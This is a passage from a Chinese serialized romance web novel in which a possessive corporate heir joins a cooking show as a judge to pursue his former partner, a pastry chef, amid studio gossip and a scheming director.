沈又安表情诧异,迅速解释了一句:“不是搭讪,我确实是想问问梁小姐舒芙蕾的做法,霍总你误会了。” “我误会?”霍景闻慢条斯理地笑了声,语气极其恶劣,“我在梁音面前卖惨的时候,你还不知道在哪儿喝奶呢。” 沈又安面色一滞,有种被人剥开伪装的尴尬。 面上却不显。 脑海思绪翻涌,霍景闻这话分明也是……对梁音有意思,或者说,他们之间,有过旧情。 那么霍景闻一个日理万机高高在上的霍氏太子爷突然空降一档小小的综艺节目当评委,难不成是因为梁音? 沈又安忽然觉得自己看到了真相。 内心涌上了一股不妙的感觉。 可是他也不能在梁音面前落了下乘,转头看向梁音,神色如常地说:“梁老师,今天的事谢谢你了,没想到会引起误会,是我的问题,真的很抱歉。耽误你的时间了,有不懂的我再问你。” “时间不早,我还有事就先走了。” 沈又安又礼貌地对霍景闻说了一声再见,这才转身离开。 从头到尾,表现得十分正常,毫无别的想法。 显得霍景闻的话毫无说服力。 梁音看着沈又安的背影消失,没说什么。刚转过脸,霍景闻不知道什么时候已经下车,站到了她的面前。 她吓了下,差点往后退。 霍景闻居高临下紧紧看着她,逼近一步,缓缓弯下腰,视线与她平齐,冷着脸说:“我说梁音,那么拙劣的说辞,你不会真的信了吧?” 梁音看着他深邃薄冷的眼眸。 感觉有点麻烦。 不管沈又安是什么想法,这都不重要。 从他出现在录制现场开始,她就知道,事情变得不对劲了。 在医院那天,他们明明已经说清楚了。甚至他见到她都视而不见了。 她以为他们以后再无联系,可是为什么,他又忽然出现在她录制的演播厅? 像他这么日理万机的人,真的会有时间和兴致来当一个美食评委么? 或许他又有什么想法,可是她没有义务配合他的喜怒无常。 但他还是孩子的爸爸,她也不想和他莫名其妙的针锋相对了,只说:“这好像和你无关,你来找我是有什么事?” 霍景闻站直了身体,淡声说 ,“没什么事。那个制片人说你不来饭局,为什么要缺席?” 梁音:“我不想去。” “不想去?” 霍景闻理说,“你不去这饭局怎么开始?” 梁音沉默了下,“我只是一个节目嘉宾而已,不是什么大人物,好像没有这么大的影响?” 她不去饭局就不能开始了么? “怎么没有?”霍景闻垂着眼看她,理所当然慢悠悠地说,“梁老师这么聪明,想不到这个饭局是专门为了你设的?因为——我想见你。” “你不来,怎么开始?” “……” 这时一辆红色的宝马缓缓在布加迪后面停下,动作小心又谨慎,生怕不小心蹭到了天价豪车。 停稳后明颜才降下车窗,对梁音挥了挥手。又看霍景闻竟然也在,就躲在车里没下车。 霍景闻当然看见了。 深秋的夜色带来一丝凉意。 卷曲的黄叶落在地上又重新被风卷起,身不由己,只能随风而去。 梁音捏着手指,舔了舔干涩的唇瓣,认真又正色地说:“可是上次在病房里,我已经和你说的很清楚不是么?霍景闻,我们已经分手了,各有各的路。你不应该这样,还来当什么综艺评委。” “如果你不明白,我再和你说一遍:我希望以后你就是意意的爸爸,仅此而已。我不会阻止你见女儿,也不会,和你有别的关系。” 霍景闻就这么听她说完。 高大的身躯被路灯拉得无限长,看起来有些寥落。 他锋利俊朗的眉骨带着几不可察的躁意,眼神暗下来,扯了扯嘴角,轻嘲:“又来了梁音,你还要拒绝我几次?什么时候你的嘴里才能说点让我开心的话?这么会伤人,你怎么不干脆拿把刀捅死我,省得我被你反复践踏。” 梁音:“……” 她哪里有践踏他…… 似是觉得烦躁,不想再看见她,霍景闻转身上了车,车窗也随之升起。 只是升到一半又停下。 霍景闻闭了闭眼,又转头看着她,声线如结了冰的幽泉, “行啊,不和我有关系可以,那也不许和别人有关系。沈又安请你吃饭,你、不、许、去。”—— 作者有话说:威胁式追妻第一人。[狗头] 第45章 第45章他要梁音,心甘情愿回到…… 梁音转身上了明颜的车,直接离开。 她觉得自己已经和他无话可说了。 他又是凭什么,在这里命令她呢? 无论她想和谁有关系,都是她自己的选择,而不关他的事。 上了副驾驶,梁音和明颜说:“开车吧。” 明颜心里还有点惴惴的。 她离得不远,刚刚梁音和霍景闻说的话她听了个大概。 她也是没想到,梁音平常这么温和好脾气的人,从没听她对什么人讲过重话。可是她拒绝霍景闻的时候,竟然如此不留情面。 霍景闻是谁? 不说他的身份了,就说冷血狠辣这方面,这可是个连亲爹都不放过的狠人! 梁音怎么就敢不留一点情面的拒绝他呢? 似乎把霍景闻气得不轻? 前面的炫黑布加迪蜂鸣几声,极速嚣张地消失在夜色里。 “他真的就这么走了?”明颜看着消散不见的车尾气,忐忑的问了一句。 她好怕她一发动,待会儿就像电视剧里演的一样,几十个保镖围上来把她们拦住,那该怎么办啊。 梁音觉得她的脑洞有点无厘头。 “开车吧,不会有这种事的。” 这一点梁音还是可以保证的。 霍景闻不是这种人。 …… 回到家已经很晚了,意意被李阿姨哄睡着了,梁音也没有吵醒她。 意意和霍景闻去游乐园玩了两天,除了买了一大堆的人物玩偶回来,还有霍景闻给她拍的很多照片。有意意单人的,也有父女两的合照,全都被霍景闻洗了出来,装在意意的小书包里。 梁音把每张照片都放进相册里。 这是意意的第五本相册。 她每长一岁,梁音都会给她准备一个新的相册,相册里是她这一年各种成长的照片。 梁音放着照片,今年的照片明显比往年多,还没有到年底,她准备的相册就快放不下了。她准备拿出几张他和意意的合照,可是合照里的意意很可爱,想了想,她还是保留了。 洗完澡出来,梁音收到了明颜一条微信。 是一张偷拍霍景闻的照片。 演播厅明亮的聚光灯下,他懒散的坐在评委席,长腿交叠,漫不经心的目光看着参赛区,周身矜冷,贵气天成。 霍景闻来参加综艺节目的事很快在网上发酵传开。 这张偷拍照更是迅速在网上引起了一波热潮。 网友都在问照片里这个大帅比是谁。 评论更是五花八门。 “啊啊啊啊啊啊啊好帅啊,这是哪个男明星吗?宫里来新人了?朕怎么从未见过?” “简直荷尔蒙爆棚,感觉是长期招女友不招长期女友的渣男类型!” “卧槽楼上你真敢说啊!不过你可能真的说对了,这种上流社会的大少爷一定玩得很花。” “这可是霍氏集团的现任总裁啊,怎么会突然上一个小小的综艺节目?” “说不定是为了某个女人哈哈。” 梁音看了几秒,就把明颜发来的页面关掉了。 明颜又发了条微信过来:【哇……霍景闻真的去参加你那档美食综艺的录制了?】 梁音顿了下:【嗯。】 明颜:【他是为了你吧?】 梁音不太想承认,可是又没办法否认:【我觉得是。】 明颜更加激动了:【我说呢,他怎么会出现在宜京电视台门口。】 明颜:【追人都追到节目上去了,霍总有一套的。】 明颜:【你怎么想的,要不要和我说说?他本来就是意意的爸爸,还有钱,又帅,对你穷追不舍,如果是我的话,估计就动摇了。】 说实话像霍景闻这样的,长相,家世都是一等一的豪门公子哥,就算脾气差点,傲慢了点,也有不计其数的女人对他趋之若鹜。在钱权之下,这点小缺点简直微不足道。 更何况,明颜看得出来,霍景闻对梁音还……挺长情的? 而且霍景闻之前还为梁音挡了一枪。 因此而动摇太正常了。 梁音知道明颜的意思。 可是……霍景闻条件再好,这也不是她选择的原因呀。他为她挡了一枪,她很感激,很感动,但也不是原谅的条件。 六年前她走的时候就想得很明白了。 与其和他继续纠缠不清,到头来,闹得两败俱伤,互相怨恨,不如一开始就分开,各自安好,才是他们的归宿。 他是有很多钱,高不可攀,众星捧月,都好。可是早就和她没有关系了。 他永远这样傲慢,连道歉都带着指责。 她就永远不会原谅,不会动摇。 他们就是两条永远不会相交的平行线,不会有交集,也不会有结果。 就应该互不相干,最好。 …… 寂静的山林深处,一道响彻天际的轰鸣声绕着公路盘旋,久久不曾停歇。 极速,冒险,刺激,迅速激发身体的肾上腺素,带来无尽的爽感。 可是刺激过后,又只剩下无尽的空虚与滚烫汗水挥发殆尽的冰冷。 霍景闻靠在座椅上,拿出手机,找到梁音的微信。 紧紧看着上面的备注——“老婆”。 当时在病房里,他没让梁音发现,企图藏好。可是……他的心 思,怎么藏得住? 他们都有一个女儿了。 他们到底有什么过不去的? 想到梁音说的那番话,霍景闻用力的摁灭屏幕。 耳边呼啸的风声,好似也在嘲笑他的无能。 霍景闻咬紧牙关,忽然气笑了。 无能? 他霍景闻八岁之后,这个词就和他再没有关系了。 他要什么,都要得到。 …… 回到千水公馆,已经是晚上十一点。 霍景闻洗完澡出来,擦干头发,手机忽然响起。 是安叔。 电话那头安叔恭敬地说:“景闻,你要找的保姆我已经物色好了,三个都是业内的金牌保姆,年纪不到四十,学历高,各种营养证书都齐全。来照顾小公主应该是没有问题的。” “还有营养师,家庭医生,我都安排好了,没有惊动霍家那边。” 霍景闻把手里的毛巾随手丢下,靠在沙发上,没什么情绪地应了一声。 这是他之前交代安叔去办的。 女儿虽然一周只来他这里一次,但是也需要精心的照料。更何况以后的时间还长着呢…… 麻烦就麻烦在,他不能让霍家那边知道,不能在霍家调人,另外去请人,自然要调查清楚了。 安叔继续说:“还有就是景闻,今天老爷子听说你去录制综艺节目,发了好大一通脾气,他打你的电话打不通,让我转告你,明天回老宅一趟。” 对于霍家这样的显赫豪门,霍景闻还是霍氏目前公开的继承人,他去上综艺,对于老爷子这个老古板来说,是非常失体面,和有失身份的。 所以他会因此大发雷霆,想都想得到。 不过霍景闻并不在意。 倒是安叔犹豫了一下又说:“景闻,安叔跟着你妈来到霍家,在你回霍家后又看着你长大,别人不知道,但我看得出来,你对意意的重视,以及对那位梁小姐的在意。我也知道你想挽回梁小姐,综艺也是因为梁小姐才去的。可是我觉得你大可以不必如此屈就……” 这一点,他也觉得景闻太过降低自己的身份了,还容易引起老爷子的不满。 “哦?” 霍景闻仰头闭了闭眼,“那安叔你有什么高见?” 安叔:“霍家财权撑起了宜京的半边天,没有谁会不喜欢钱,就是这宜京喜欢你的女人也是数不胜数。我觉得您要追回梁小姐,给她多送点名贵的礼物,珠宝,再不行就车,别墅,女人都喜欢这一套,我想总能打动梁小姐的。” 霍景闻认真地听完安叔的“追妻小妙招”,思索了秒,顿时嗤笑了一声。 “安叔,你是不是年纪大了老糊涂了?梁音要是能用钱收买,我还用你提醒?” 事实上,她梁音当初不正是因为他霍景闻太有钱而离开他的么。 送她珠宝?别墅? 有用么? 他给了她一张卡,说是抚养费,可是她大概看都没看过那张卡一眼,自然也就不知道那张卡里有多少钱。 梁音要是能用钱收买,他在梦中都笑醒。 如果这个办法没用…… 安叔沉默了下,又说:“那也有别的方式,比如……梁小姐那么在乎意意,你只要拿到意意的抚养权,我觉得梁小姐肯定会妥协——” 而要拿到意意的抚养权,对霍景闻来说再容易不过了。 霍景闻沉默不语。 安叔以为他在考虑这个办法:“我们可以请宜京最有名的律师……” “安叔,闭嘴。” 霍景闻冷声打断,“你在说什么疯话。” 自作聪明。 这些手段他还需要他来教? 他霍景闻在生意场上翻云覆雨,最擅长把对手逼到绝境,再无反手之力,任他抽筋剥髓。 强取豪夺的办法他多得是。 他只是舍不得,对梁音用。 梁音好不容易回来了,他不能再失去她。 他要梁音,心甘情愿回到他身边—— 作者有话说:还有一更~ 第46章 第46章是我的白月光。(二更)…… 第二期节目并没有录制完,节目组出了命题,给出了一天的时间让选手准备。 说实话,这么短的时间对选手们来说还是很紧张的。 而在这种刀光剑影,残酷的评分制比赛中,评委们给出的命题却是——温暖。 他们要求选手做出心目中最“温暖”的作品,并阐述创作理念,这是极考验甜品师的创新能力和风味把控能力的。 第二天晚上七点半,梁音就带着自己的作品来到电视台,刚来到演播厅,发现选手和评委们就都到齐了,在节目录制前半个小时。 梁音还觉得莫名,很快,看到被导演制片人主持人簇拥下,阔步而来的霍景闻,她又不觉得有什么奇怪的了。 等霍景闻等人浩浩荡荡的走过以后,旁边几个场务工作人员聚在一起悄声说: “你看我们导演那个谄媚样儿,真是没眼看。” “也不只是导演吧,这个录影棚里哪个人不想上赶着巴结太子爷?拜托,那可是平常连见都见不到一面的大人物!” “也没有人都想巴结吧,我们琛宝就没去巴结。” “周叙琛是当红顶流啊,那不一样。他是傲气,可是你看他的经纪人,早就巴上去了。” “也不怪这么多人都想讨好,要是讨得人欢心,这太子爷只要一个眼色,以后在娱乐圈还能不平步青云?” “不过我也是想不明白,这种大人物怎么会来录制一个综艺节目……” “网上还有人说他是为了一个女人,笑死,狗血小说看多了吧。这种大佬,要什么女人还需要亲自追?” “可是网上好几个分析贴,还挖出了他有个离开的白月光。大家都猜他是为了美女主持嘉莹来的,你看他录制的时候,多给嘉莹姐面子。” “不会吧,嘉莹是他的白月光啊……” 几个人搬着道具离开,声音越来越小。 …… 节目正式录制,两位主持人说完了开场白便进入了正题。 林华:“过了一天,让我们来看看各位老师准备的作品吧。首先我们先来看看小丸子老师的,哇偶……好漂亮的“花”糕。” 镜头对准了小丸子做的甜品。 那是一道点缀满花朵的提拉米苏,正方形的提拉米苏之上,用各色颜料绘满了栩栩如生的花朵,繁华葱郁,每一朵花都精雕细琢,可见甜品师的功底的。 嘉莹:“小丸子老师这幅花之提拉米苏可真是让我们大开眼界了,请问您做出这份繁花提拉米苏,创作理念是什么,又为什么用它代表温暖呢?” 小丸子接过话筒说:“我小时候就很喜欢花,看过万千花朵沐浴在阳光下,欣欣向荣,漂亮璀璨,看着她们在阳光下不断生长,我想,这就是生命的温暖吧。” 话音落下,观众席上传来一阵热烈的掌声。 再接下来是第二位甜品师豌豆,他给出的则是一份极简作品,同样阐述了他的创作理念。 两位网红甜品师的作品已然让观众们惊叹了一下。接下来,就是两位专业甜品大师的呈现了。 大家也更期待两位所谓代表顶级水平甜品师的作品是怎样。 首先是文轩。 他拿出自己做好的甜品,一打开,映入镜头的是丰富又抓睛的鲜艳配色——清脆欲滴的抹茶,艳丽诱人的覆盆子,杏色的奶油巧妙融合,以巧妙绝伦的搭配做出了一道阳光森林下的拿破仑。 观众一眼就被其精美程度震惊到了,演播厅里有几声低低的惊叹声传来。 文轩的创作理念就是——以森林的颜色,诠释阳光的温暖。 他的这道甜品,已经足够让所有人惊叹不已,观众自发鼓掌。 已经有难以逾越的“珠玉”在前,剩下的梁音想要再超越,简直是难如登天。 所有人都紧紧盯着缓缓被推上来的梁音的作品。 梁音走过去,慢慢掀开盖子,众人目光齐聚,摄像机拍到她的甜品的那一刻,整个录影棚里蓦地安静了一秒。 连空气好像都凝滞,被按下了暂停键。 然后,就是如雷的掌声。 漂亮,简直太漂亮了!漂亮到不可思议的地步 ! 不用介绍,只一露面,就可以看出,这简直是碾压的级别。 梁音推出的甜品叫“烟火”。 镜头下,一道渲染着美极烟花的柚子慕斯呈现在众人眼前,栗色饼底,上层是细腻弹棉润到像是融化到极致就快要涌出却又圆润包裹起来的粉白色水滴形慕斯,做成烟花造型的巧克力调温片在其上绽放,颜色的极致配比,每一颗烟火的独特渲染,带给观众绝妙的视觉享受。 这完全就是甜品师的炫技之作。 观众本来以为文轩必定是冠军无疑了,而这道“烟火”推出来,不等评委点评,不等梁音阐述理念,大部分观众心里已经有了答案:第一名属烟火没跑了。 快要掀破屋顶的掌声之后,愣了两秒的主持人林华找回了声音,采访梁音:“这道作品我想不必我多说,看观众的反应就知道,妙,太妙了!梁老师,说说你的创作理念吧?为什么要用烟花来代表温暖?” 梁音接过话筒,不疾不徐地说:“其实没有什么特殊的原因,只是小时候每当夜空中放起烟花的时候,千家万户的灯光总是格外的明亮。而每当这一天,也是所有人团圆的日子,大家聚在一起,互相举杯,畅聊彻夜,总是,热闹又温暖。” 林华点头:“明白了,梁老师诠释的是团圆的温暖。好,四个甜品师的作品全部呈现完毕,请评委们一一品尝,然后打分吧。” 其实大家心里已经都有结果了。 就这样一道甜品,就该迎接不计其数的赞美与掌声。 沈又安仍然大肆夸奖,就连一贯寡言的周叙琛尝完以后也多了许多感慨:“梁老师的这道甜品让我想到了一个人。” 林华嗅觉敏锐,连忙说:“哦,是什么人呢?” 周叙琛微微笑了笑:“是我的一个高中同学。暖暖的,灿烂的,像小太阳一样温暖。这份甜品给我就是这种感觉。” 底下粉丝狂热大叫,纷纷说我就是你失散多年的高中同学呀。 一阵狂欢过后,终于来到霍景闻面前。 大家都等着看这位大佬的第一次点评。 霍景闻放下勺子,面容没什么变化,薄唇抿了起来,看不出他的喜怒。 思索了两秒,他缓缓抬眼,看着台上某处,不紧不慢地说:“我也想到了一个人,我找了她很久很久,在时间的长河里,想念变成了怨恨,可再见到她的那一面时,所有的怨恨又变成了甜蜜。她一露面,我就轻易的原谅了她。他们都说,她是我的白月光。麻烦就麻烦在,我的白月光却不肯与我重修旧好……” 观众席传来一片倒吸冷气的声音。 一道甜品,竟然连这种见过大世面的大佬都打动了么?也不知道这梁主厨做的甜品有什么魔力!接连让顶流男星和商界大佬在综艺节目上开始诉说衷肠? 在一个综艺节目上竟然听到了大佬的情史,这也太刺激了。 霍家人的情史,外界很少有人能知道的,八卦也很难爆出来。流传最广的关于霍景闻的八卦消息就是他这么多年都保持单身,是因为他的初恋女友不告而别了。 但却无人知是真是假。 今日一听,原来竟是真的! 有部分观众忽然想起网上的分析贴,立马想到,这霍总还真是为了追白月光来的。 许多人的目光都不自觉看向了台上的嘉莹。 难道要见证一场霸总的追妻火葬场了么? 可是这个时候,霍景闻不知道为何,又不接着往下说了,脊背懒懒地往后靠,漫声说:“算了,再说下去,某人该不高兴了……” 他慢悠悠地抬眼看向梁音,很有礼貌地请教:“梁老师,你做的甜品很温暖,看起来也是个善良又温暖的人。你说,我该怎么做,她才能原谅我?” 所有人的目光又看向梁音。 梁音认真思索了一秒,这才说:“抱歉,我不太擅长这些。” 意思就是,她也不知道。 观众很理解。 人家就是个老实巴交的甜品师,还能给你出什么追妻小妙招?也太难为人了吧! 评分结果毫无悬念是梁音拿到了第一名。 公布了结果后这期节目就结束了,节目录制结束后,有几个和嘉莹相识的工作人员纷纷围到她身边,艳羡地说:“啊嘉莹你藏得也太深了!霍大少追你都追到节目里来了!” “对啊对啊,刚才他是当众在对你表白吧?天呐,真是太让人羡慕了!” “太好命了吧。” “就是就是,以后当了霍家少奶奶可别忘了我们。” 嘉莹虽然有心攀附那位,但是她压根就和人没什么关系。 霍景闻说的人,不是她。 可是这种被众人追捧,艳羡的感觉太满足虚荣心了,所以嘉莹只是笑了笑,似是而非说了句:“别这么说,其实也没有……” 众人一听,反而更加确信是她了,这消息很快就在电视台里传得沸沸扬扬。 都传进了导演王振杰的耳朵里。 他也是终于明白了为什么这霍总要给他们节目追加投资,还要亲自来参加节目了。 所以一收工,存了向霍景闻卖好心思的导演又组了个饭局,发微信要求所有主持人和嘉宾都去。既不表现得太过明显,又给霍大少提供了机会,他简直不要太机智。 因为昨天的饭局有人缺席,导致霍总早早离开,所以这次他在群里要求所有人都要参加。 导演在一档综艺节目里的话语权可想而知。 除了周叙琛,大概没有人敢反驳导演的话。 当然,霍景闻压根就不在这个群里。 在群里通知完以后,王振杰带着几个副导演亲自去后台邀请霍景闻出席。 工作了一天还要抽空来录制节目的霍景闻已经很疲倦了,可没有什么兴致参加什么饭局。 等他的化妆师把他脸上的薄妆卸掉,霍景闻扯了扯领带,站起身转身就走。 该死的,录个节目还要化妆,真是麻烦。 王振杰见霍总没有明白他的意思,连忙跟上去又暗示了一句:“是这样的,这次饭局,咱们今天录制节目的所有嘉宾和主持人都会去。” 他的重点暗暗落在后面半句。 霍景闻果然停下了脚步,挑了挑眉,意味深长地说了两个字:“所有?” 王振兴一听有戏,激动地说:“是的,所有。” 可是话音刚落,走廊对面就急匆匆地走来一个人,身姿细柔,一身的甜品香气。 是梁音。 梁音的神情有些着急,导演突然通知要聚餐,可是她晚上和沈浩定好了要开会讨论菲尔纳丽下个季度增加的甜品种类问题,没有时间去。 导演在群里通知一定要去,她也不好直接走人,只能过来和他说一声。 没想到霍景闻也在。 王振杰听完,不快地说了声:“你又不参加?家里有什么事吗?” 梁音:“是餐厅有点事,不好意思导演。” 王振杰心想她一个参赛的甜品师也不是多重要的人物,少她一个也没什么关系,反正霍总在意的是嘉莹,就答应了:“行吧。” 梁音说了句感谢,然后转身就走。 前面有个场务抱着一堆的衣服走了过来,手上的东西太多,挡住了她的视线,又在转角视线盲区,就这么和梁音直直撞上。 衣服掉了一地,梁音也被撞得连连后退,没站稳,整个人往后摔。 电光火石间,一只有力的大手在她腰后轻轻托了一下。摁在她腰间的掌心滚烫又强劲,稳稳的扶住,让她站稳。 然后很快收回了手。 那场务发现撞到了人立刻道歉,一抬头,却看到一双不悦的丹凤眼。 他还以为也撞到霍景闻,更是连声道歉。 梁音站稳后缓了下呼吸,弯腰帮他捡起衣服,和缓道:“没事。” 这里都是人,梁音转头又向霍景闻道了声谢:“多谢霍总。” 霍景闻淡淡应了一声。 梁音客气完后不再多说,几乎是立刻转身就走,好似怕和他沾上了一点关系。 等梁音走后,王振杰这才赶忙上前问候。刚才的情况在场的人都看到了,他们倒是没想到这霍总看起来冷漠,竟然会上前好心扶了那梁主厨一把。 但是在王振杰眼里,梁音那根本不是意外摔倒,而是故意为之,就是在霍总面前装的,用这种方式引起他的注意。否则她怎么可能直直往 那场务身上撞上去,没长眼睛么?像她这种有心机的女人,王振杰在娱乐圈见过不知道多少,心里只觉得鄙夷。 转头对霍景闻谄媚地笑了下:“霍总,时间也不早了,您看我们这就出发吧?” “出发?”霍景闻挑了挑眉,“去哪儿?” 王振杰愣了下:“饭局啊。我已经让人在问香居定好位置了,大家都去了,就等您了。” 霍景闻哂笑了一声:“都?” 他可没看到都去了。 丢下这个字眼,霍景闻没再看他一眼,阔步离去。 只留下王振杰和两个副导演在原地面面相觑。 完全摸不着头脑,为什么这霍总又改了主意。 …… 几乎所有人都已经去了问香居,梁音来到地下停车场的时候,停车场里空空荡荡,没看见一个人。 梁音找到停车的地方,正往那边走。身后传来了清晰的,沉稳的脚步声。 梁音听到了,可是她没有停,甚至脚步加快,几乎是慢跑着往前走。 可惜身后的人腿太长,没过几秒就追了上来,从身后握住了她的手腕。 “梁音,后面有鬼追你?跑这么快?” 霍景闻嗓音低低磁磁,又带着股吊儿郎当的随性。 梁音停了下来,用力,一点一点的甩开他的手,把自己的手臂抽出来。 原本好脾气的人,此时那双明润的眼睛也带着不满,看着他,慢吞吞地说:“对、啊。” 言下之意就是,他不就是鬼么! 霍景闻顺势放开了手,大长腿闲散地站着,闻言笑了声:“行啊梁音,小白眼儿狼一个,刚刚是谁接住了你?” 梁音语顿。 又觉得有点儿憋闷。 要不是他站在那儿,她也不会急切的要走,这才不小心和那个工作人员撞上了。 她觉得,他也是应该为此付出一点责任的。 可是说这些,也没什么意义,反而又掉进他的圈套里了。 她觉得应该和霍景闻摊开来讲清楚。 “你为什么要在录制现场说那样的话?” 霍景闻收起散漫的表情,稍稍站直,喉结动了动:“我说什么了?说你是我的白月光?” 梁音:“……我来参加这个节目是很认真的,我希望观众的焦点落在甜品上,而不是一些莫名其妙的情感话题上。” 而且,她也不希望自己的情感问题被宣扬得人尽皆知。虽然霍景闻没有明确指名道姓,观众也不知道是在说她,可是她还是觉得有点儿难为情。 更重要的是,她明明都和他说清楚了…… 他又凭什么来干涉她的事? “哦,原来我是耽误到梁老师宣扬甜品了,那真是我的错了。”被批判了一顿的霍景闻压低了眉骨,没好气地说,“怎么梁老师就指责我一个人吗?那个周叙琛不也说了他的感情?他的流量和在粉丝中影响力可比我大多了。” 梁音:“你不要胡说,他说的是他的高中同学而已。” 霍景闻嗤笑了一声:“高中同学?他周叙琛吃饱了撑得在综艺节目上怀念普通高中同学?” 他缓缓倾身,薄唇动了动,情绪没什么起伏地轻声说: “笨蛋梁音,只有你总是,什么都看不明白。”—— 作者有话说:二更来啦~ 第47章 第47章你要躲到哪里去? 梁音不是看不明白。 只是周叙琛又没有明说他的高中同学是他喜欢的人,就说他明说了,这也不关她的事,她没有资格去评价指责。 她生气,是因为霍景闻在综艺节目上,当着那么多人面前说那样的话,还故意问她。 不就是知道在镜头面前,她没办法回答么。 这会让人无端揣测,也会让单纯的美食节目,成为一档猜测他霍大少情史的八卦节目,远远背离了她参加节目的初衷。 抿了抿唇,梁音平声说:“霍景闻,我记得我和你说过了,我们已经没有什么关系了。别人的事我管不着,但是我不希望我成为你霍大少被众人揣测情史中的谈资。” “你明明有那么多的事要忙,掌握着偌大的一个霍氏集团,关乎着上万人的生计,你很闲吗,为什么要来参加一档综艺节目?!” 霍景闻声线也淡了淡,“我是很忙,可是再忙我也来了有你梁音的节目。我来追回我的挚爱,有问题吗?你总不能这么霸道,连追求的权力也不给我?” 顿了顿,他低声说: “梁音,你也知道我很忙,忙到时间要用分钟计算。时间就是金钱是我霍景闻的真实写照。我曾经也以为我是无所不能的,可是我屡屡在你梁音的事上碰壁,一天之中我有一半的时间都在思考我们的事,可是我还是想不到,我要怎么做,你才能原谅我?” 梁音望着他眸光暗沉,深邃的眼睛。 他在问她怎么才能原谅他。 可是。 “我原谅你了,霍景闻。” 霍景闻眉骨都动了动,指骨微微蜷起,可是下一秒梁音又说,“我不再计较你欺瞒我的事,也不再指责你的傲慢。当初我不告而别,也有一时之气,让你等了这么久,没有和你说清楚,也是我的错。我原谅你,你我现在,互不亏欠了。” 霍景闻眉间紧紧拧了起来,冷笑:“梁音,谁要和你互不亏欠?” 梁音:“我没有这么大度,我能做到的,就只有这样了。至于你我之间……是没有可能的,霍景闻,我请求你,离我远一点儿,行么?” 几句话,让霍景闻的面色越来越冷, 他压着眼睫,语气却极其欠扁: “哦,你求我啊?你还是在床上之外第一次求我呢。你好不容易求我一次,我本来应该答应你的,可是,不行呢。” “我做不到,离梁音远一点儿。” 梁音气恼:“你……” 霍景闻向她走近了一步,语气幽冷,“你总是对我说这么伤人的话,你和我到底是谁傲慢?为什么你对所有人都好,对所有人包容,体谅,就是不肯谅解我一点?” 他高大的身影像是细密的网,笼罩下来,让人无处脱身。 梁音就这样被他俯身而下,抱了个满怀。 他的胸膛宽大又滚烫,抱住她时,紧实有力的完全把她纳入怀里,禁锢得密不透风,无法挣脱。 梁音靠在他肩膀上的下巴微微抬起,压根没预料他就这么抱过来了,连后退都反应不及。 站在原地任由他抱着,他的力道太重,她就好像是陷阱里前后左右都没有退路的猎物一样无助。 她觉得自己好像一点办法都没有。 不管怎么说,他都不为所动,不容她拒绝,霸道极了。从来都是他要怎样就怎样,还要反过来指责她不宽容,不谅解。 有一种难得的无力。 她不想和他继续吵下去了。 偌大的停车场透着空洞的沉寂。 被他抱着好一会儿,梁音伸出手,慢吞吞的拉下他的手臂,退出他的怀抱,抬头郑重的看着他:“你不要说得你好像很可怜的样子,不包容你就变成我的错了?” 她嘴笨, 说不过他,但是这并不代表她还像以前那样傻,总是被他绕进去。 她深呼吸一口气,坚定地说:“我已经说过了,不想和你有瓜葛。如果你还是这样的话,那我惹不起,总还躲得起。我会告诉安灵,退出这个节目。” 霍景闻身体僵硬了一瞬。 他慢慢站直身体,居高临下,眸光深深地看着她,利落硬朗的下颚都绷紧了,“躲?你要躲到哪里去?” 他的嗓音发沉,带着一些难以察觉的薄怒。 梁音看着他沉冷得脸色,愣了一下。 她那句话只是表达一个含义,并不是真正的要躲起来的意思。 他的反应太大了。 梁音沉默间,霍景闻也反应了过来,闭了闭眼,转头焦躁地走了一圈,最后站在她面前,妥协:“行,我错了梁老师,我会退出这个综艺,不再干扰梁老师发扬甜品艺术。” 他慢慢低头,贴近她面庞:“我退出,你好好录你的节目,发扬你的甜品,别再想其他的。否则……” 梁音扭过脸去不看他。 霍景闻顿了下。 拉住她的手腕慢条斯理的握紧,细密的,缓慢加重的力气像是蛛丝包裹的茧,没有一丝逃脱的可能。他瞳孔晦暗,沉下脸,认真威胁:“你要是再跑,我就把你关起来。” 他的话里带着一丝难以察觉的阴郁。 梁音眉头皱起,用力甩开他的桎梏,转身就走。 不一会儿,开车离开了停车场。 霍景闻站在原地,脸色更加难看。 她总是把他的话当耳边风。 …… 霍景闻第二天就让助理张晓通知节目组,要退出录制。 导演人都傻了,不知道哪里得罪了他,连忙打电话询问原因。 霍景闻可没有向一个导演解释来龙去脉的时间,连电话都没接,他的助理隐晦地和导演说了句“霍总工作繁忙”, 他本来就相当于飞行嘉宾,出场一期也很正常。 霍景闻这一退出,王振杰急得团团转。 他百思不得其解,害怕是自己哪惹到了这位大少爷的不快。 第二期节目已经录完了,虽然节目还没有正式上线,但是霍氏集团的太子爷来参加节目的消息早就在网上传开了。 很多爱凑热闹的网友都在期待第二期的播出,连官抖粉丝都涨了好几十万。眼看着第二期播出收视率又是一波飞涨,王振杰开心得要命。 王振杰一方面是想巴结霍景闻,另外一方面也是想要节目收视长虹。 没想到这霍总竟然突然就不录了。 昨天晚上的饭局也没有去,表情看起来很不快。 王振杰懊悔不已。 心想自己还是哪里没有做好,本来昨晚他提起饭局的事,霍总明明是有兴趣的。要不是……那个姓梁的甜品师搞什么特立独行,又请假不去,当众拂了他的面子不说,还惹得霍总也没了兴致。 这些觉得自己有点本事的人就是这样,总以为自己是天才就了不起,性格傲得不行,让他们参加个饭局就好像“玷污”了他们孤高出尘的格调一样。 其实说到底也不过就是个做甜品的厨师,能有什么了不起!看到这种人都来气,连周叙琛都要给他面子,她算个什么东西。 能攀附霍家太子爷的机会多少人求都求不来,他就这么错失掉,心里本就懊恼极了。 王振杰剪着素材,一抬眼看到屏幕上梁音的脸越发的来气,看她不满,在不影响节目的前提下,干脆把她的一些镜头都剪掉,完全忘记了当初安灵拜托他要好好关照梁音一事。 副导演杨波不知道什么时候走了进来,他看见王振杰正在剪掉梁音的镜头,看得出来他这是对梁音迁怒了。正好。 他拉了条椅子在王振杰身边坐下,王振杰一抬头看见他进来刚不耐烦地要骂人,就见杨波悄悄的把手机放在他面前。 王振杰低头看着手机里的数字,还在思考这六位数的金额是什么意思。 杨波凑到他耳边,小声地说了几句话。 “那人说了,只需要您稍微的“剪一剪”,事后还会再给您送一份大礼。” —— 梁音为了录节目,这两天忙得脚不沾地,回来的时候都超过了十点,意意在李阿姨的照顾下早就睡着了。 早上要很早去餐厅,晚上又要去录节目,整整两天,她和女儿都没说得上几句话,忽略了孩子,这让梁音有些愧疚。 第二天下班,她亲自下厨,做了意意爱吃的蟹黄鸡翅,小酥肉,还额外买了一份肯德基小食套餐。 